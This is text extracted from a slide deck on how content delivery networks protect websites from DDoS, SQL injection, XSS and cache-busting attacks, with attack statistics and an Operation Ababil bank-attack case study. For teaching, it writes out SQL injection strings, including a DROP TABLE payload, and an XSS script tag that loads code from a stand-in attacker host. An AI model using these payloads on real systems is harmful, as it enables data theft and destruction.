The Role of Content Delivery Networks in Protecting Web Sites from Attacks Bruce Maggs VP for Research, Akamai Technologies Distributed Denial of Service (DDOS) Attacks The attacker hopes to overwhelm the content provider’s resources with requests for service. Sometimes the attacker employs a “bot army” of compromised machines. The attacker tries to issue requests for content that cannot be cached. The attacker looks for “amplification” where an easy-to-generate request requires a difficult-to-generate response. ©2013 AKAMAI | FASTER FORWARDTM Attack Frequency (Attacks Detected and Mitigated) 2014 2013 2012 2011 2010 991 1317 2002 2936 ©2013 AKAMAI | FASTER FORWARDTM 5634 Largest Attacks by Year 2014 320 270 2013 190 144 Gbps Mpps 2005 11 2 2010 2008 2006 2007 18 22 8 11 2009 48 39 29 2011 2012 79 82 68 69 38 15 ©2013 AKAMAI | FASTER FORWARDTM 45 Attack Types Q3 2014 ©2013 AKAMAI | FASTER FORWARDTM Attack Origins Q3 2014 Russia 2.97% Japan 4.10% India 2.81% Thailand 2.43% US 23.95% Germany 5.78% Korea 6.13% China 20.07% Mexico 14.16% Brazil 17.60% ©2013 AKAMAI | FASTER FORWARDTM Targeted Industry Sectors Business Services 0.20% Software & Technology 19.44% Public Sector 1.40% Education 2.20% Financial Services 9.22% Avoid data theft and downtime by extending the security perimeter outside the data-center and protect from increasing frequency, scale and sophistication of web attacks. Gaming 33.67% Media & Entertainment 23.65% Internet & Telecom 8.82% Health Care & Life Hotel & Travel Sciences 1.20% 0.20% ©2013 AKAMAI | FASTER FORWARDTM The Akamai Platform Provides a Perimeter Defense Origin Server End User Origin Traffic Akamai Traffic 10000 10000 1000 1000 100 100 10 10 1 1 ©2013 AKAMAI | FASTER FORWARDTM Defeating HTTP flooding attacks – Rate Controls 1. Count the number of Forward Requests 2. Block any IP address with excessive forward requests Akamai Edge Server Customer Origin Forward Request Client Request X Custom Error page Forward Response ©2013 AKAMAI | FASTER FORWARDTM Filtering Out Malformed Requests • SQL injection attacks • Cross-site scripting (XSS) attacks • Cache busting attacks ©2013 AKAMAI | FASTER FORWARDTM Relational databases Relational databases store tables consisting of rows and columns. (image from http://support.sas.com) ©2013 AKAMAI | FASTER FORWARDTM Structured Query Language (SQL) Example Query: SELECT * FROM Employees WHERE LName = ’PARKER’; IdNum 1354 LName PARKER FName MARY JobCode FA3 ©2013 AKAMAI | FASTER FORWARDTM Salary 65800 Phone 914/455-2337 Example SQL Injection Suppose a program creates the following SQL query, where userName is a variable holding input provided by an end-user, e.g., through a form on a Web page. SELECT * FROM Employees WHERE LName = ’” + userName + ”’;” But instead of entering a name like PARKER the user enters ’ or ’1’=’1 Then the query becomes SELECT * FROM Employees WHERE LName = ’’ or ’1’=’1’; This query returns all rows in the Employees table! ©2013 AKAMAI | FASTER FORWARDTM A More Destructive Injection Same code as before: SELECT * FROM Employees WHERE LName = ’” + userName + ”’;” But now suppose the user enters a’; DROP TABLE Employees Then the query becomes SELECT * FROM Employees WHERE LName = ’a’; DROP TABLE Employees; This query might delete the Employees table! (Not all databases allow two queries in the same string.) ©2013 AKAMAI | FASTER FORWARDTM bobby-tables.com: A guide to preventing SQL injection (from the comic strip xkcd) ©2013 AKAMAI | FASTER FORWARDTM Cross-Site Scripting Attacker types this into text entry form: <script src=http://theftsRus.com/script.js></script> Attacker hopes that later the site will insert this into the HTML that it outputs, and then the victim’s browser will execute the script. ©2013 AKAMAI | FASTER FORWARDTM Cache Busting Attacker adds query strings to the end of a requested URL, e.g., http://ak.xyz.com/logo.gif?id=832164328 Attacker hopes that the CDN will view each request with a different query string as a request for a different object, and fetch a new copy from the content provider. ©2013 AKAMAI | FASTER FORWARDTM Operation Ababil “none of the U.S banks will be safe from our attacks” Phase 1 Sep 12 – Early Nov 2012 • DNS packets with “AAAAA” payload • Limited Layer 7 attacks • Early-mid Oct 2012 announced names of banks where attacks succeeded • (Did not announce bank names if attacks were unsuccessful) • Began use of HTTP dynamic content to circumvent static caching defenses Phase 2 Dec 12, 2012 – Jan 29 • Incorporate random query strings and values • Addition of random query strings against PDFs • Additions to bot army • Burst probes to bypass rate-limiting controls • Addition of valid argument names, random values Phase 3 Late Feb 2013 – May 2013 • Multiple probes • Multiple targets • Increased focus on Layer 7 attacks • Target banks where attacks work • Fraudsters take advantage ©2013 AKAMAI | FASTER FORWARDTM Phase 4 July 2013 – • Used fake plug-ins to infect files Phase 1 Attack – Sept 2012 DNS Traffic Handled by Akamai 1.8 M Attack Traffic: 1.6 M 23 Gbps 1.4 M (10,000X normal) 1.2 M 1.0 M 0.8 M Duration: 4.5 Hours 0.6 M 0.4 M High volume of non-standard packets sent to UDP port 53 Packets did not include a valid DNS header Packets consisted of large blocks of repeating “A”s The packets were abnormally large Simultaneously, a SYN-Flood was directed against TCP port 53 0.2 M s 0.0 Tues 12:00 Wed 00:00 Total eDNS 22 ©2013 AKAMAI | FASTER FORWARDTM Wed12:00 Phase 2 Attacks - January 2nd, 2013 Bank #1 Bank #2 Bank #3 Bank #4 Bank #5 QCF targeted PDF files Akamai Dynamic Caching Rules offloaded 100% of the traffic No Origin Impact ©2013 AKAMAI | FASTER FORWARDTM Phase 2 Attacks - January 2nd, 2013 Bank #1 Bank #2 Bank #3 Bank #4 Bank #5 QCF targeted marketing web pages Rate controls automatically activated Attack was deflected, far from bank’s datacenter No Origin Impact ©2013 AKAMAI | FASTER FORWARDTM Phase 2 Attacks - January 2nd, 2013 Bank #1 Bank #2 Bank #3 Bank #4 Bank #5 QCF targeted SSL Akamai offloaded 99% of the traffic No Origin Impact ©2013 AKAMAI | FASTER FORWARDTM Phase 2 Attacks - January 2nd, 2013 NOT on Akamai Bank #1 Bank #2 Bank #3 Gomez agents in 12 cities measuring hourly 12:03 PM Bank #4 Bank #5 Error/Outage—site not responding ©2013 AKAMAI | FASTER FORWARDTM 9:00 AM Phase 2 Attacks - January 2nd, 2013 NOT on Akamai Bank #1 Bank #2 Bank #3 Gomez agents in 12 cities measuring hourly 12:44 PM Bank #4 Bank #5 Error/Outage—site not responding ©2013 AKAMAI | FASTER FORWARDTM 6:21 PM Phase 3 Attack Example • Attack started at March 5, 2013 morning • Peak Attack Traffic > 126 thousand requests per second • 70x normal Edge Bandwidth (29Gbps) • Origin Traffic stayed at normal levels • ~2000 Agents participated in the 20 minute assault • 80% of the agents were new IP addresses that had not participated in earlier campaigns ©2013 AKAMAI | FASTER FORWARDTM Attack Tactics - Pre-attack Reconnaissance Attackers test the site with short burst high speed probes • Short bursts of attack requests on non-cacheable content every 10 minutes • Peak of 18 million requests per second If the site falters, they announce that they will attack that bank and return later with a full scale attack If the site is resilient they move on ©2013 AKAMAI | FASTER FORWARDTM Observations Due to recent attack sizes, infrastructure capacity build out is not economical, and may not work anyway • Attacks range from 13X to 70X normal traffic, 25X to 120X normal request volume The burst speed of attacks has become too fast for reactive mitigation – a proactive “always-on” defense is necessary ©2013 AKAMAI | FASTER FORWARDTM